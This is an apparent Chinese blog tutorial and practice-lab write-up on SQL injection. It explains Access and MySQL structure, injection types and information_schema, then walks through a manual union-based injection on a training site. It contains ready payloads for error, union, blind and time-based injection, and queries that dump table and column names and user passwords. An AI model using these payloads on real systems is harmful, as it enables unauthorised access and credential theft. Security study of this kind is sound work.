SQL注入,MYSQL跨库,ACCESS跨库

ACCESS数据库

Access数据库是一种关系型数据库管理系统,广泛应用于桌面应用程序和Web应用程序的开发

 Access是单独存在的数据库

数据库名

             表名

                     列名

                            数据

MYSQL数据库

MYSQL数据库内置了root最高用户,划分等级,每个用户对应管理一个数据库,各个用户没有关联

MYSQL统一管理,最高数据用户=root用户

数据库A=网站A=数据库用户A

表名

       列名

               数据

数据库B=网站B=数据库用户B

数据库C=网站C=数据库用户C

SQL注入漏洞的原理

用程序对用户输入的数据未进行充分的验证和过滤。当应用程序直接将用户输入的数据拼接到SQL查询语句中时,攻击者可以通过特制的输入来操控SQL语句的执行。

在代码与数据库进行数据通讯时(从数据库中取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时,其中的SQL语句通过参数传递定义值来实现控制SQL语句,来实现查询其他数据(如数据库中的管理员账号密码)

漏洞产生根本条件:可控变量(id=1),特定函数

http://192.168.46.160:85/Production/PRODUCT.asp

http://192.168.46.160:85/Production/PRODUCT.asp?id=1513

如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1
http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513
Production/PRODUCT.asp?id=1513 注入语句&page=1                       √
Production/PRODUCT.asp?id=1513&page=1 注入语句                       ×

说明注入语句应该在id后面进行注入

MYSQL注入思路:

(1)识别注入点:攻击者首先需要找到可以输入 SQL 代码的地方,如登录表单、搜索框、URL 参数等。
(2)构造恶意 SQL 代码:通过试探性的输入,攻击者构造出能够修改原始 SQL 查询的恶意代码。
(2)执行恶意代码:将恶意 SQL 代码嵌入正常的 SQL 查询中,并通过服务器执行,从而实现攻击目的。

一般的注入类型:

(1)基于错误的注入:利用 SQL 错误信息来推断数据库结构和内容。例如,通过输入 1' AND 1=1 -- ,查看返回结果是否正常,从而判断是否存在注入漏洞。


(2)联合查询注入:使用 UNION 关键字,将多个查询结果合并在一起。例如,输入 1' UNION SELECT username, password FROM users -- 来获取其他表的数据。


(3)盲注(Blind Injection):当服务器不返回错误信息时,攻击者通过逻辑判断来逐步推断数据库内容。例如,输入 1' AND (SELECT COUNT(*) FROM users) > 0 -- 来判断用户表是否存在。


(4)基于时间的盲注:利用数据库的时间延迟功能,通过测量响应时间来推断数据库内容。例如,输入 1' AND IF(1=1, SLEEP(5), 0) -- ,如果服务器响应延迟,说明条件成立。

MYSQL5.0以上版本:

mysql5.0以上的版本加入了信息库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schematas:记录数据库信息表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表

version():查询数据库版本

user():查询用户是否为root

@@version_compile_os:查询系统

database():查询数据库名

PHP+MYSQL的注入步骤

(1)  ‘and '1'='1 和 ’and '1'='2来判断
  http://xxx/abc.php?id= 1 and '1'='1 页面运行正常,继续进行下一步。          
  http://xxx/abc.php?id= 1 and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

(2)id后面加上order by查询页数

(3)在id后面用union注入语句查看数据库信息,' UNION SELECT 1,2 ,3,4,5,6,7,有返回值判断数据库的列数

(4)判断列数后再回显的数字上填入查询的语句(version(),user())等查看数据库的信息

墨者案例演示:

启动sql手工注入漏洞测试(Access数据库)

这个有可控变量显示(id=1)

下一步用and测试(这里可以注入)

order by 测试可显示列数为4(5的时候页面错误,4的时候页面正确),下一步就是union select 1,2,3,4测试显示位,这里显示结果为2和3

爆数据库名,版本,用户等:id=-1 union select 1,user(),database(),4

爆数据库表名:id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

爆数据库表名:id=-1 union select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema=database() and table_name="StormGroup_member"

爆数据:id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

解码就是。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值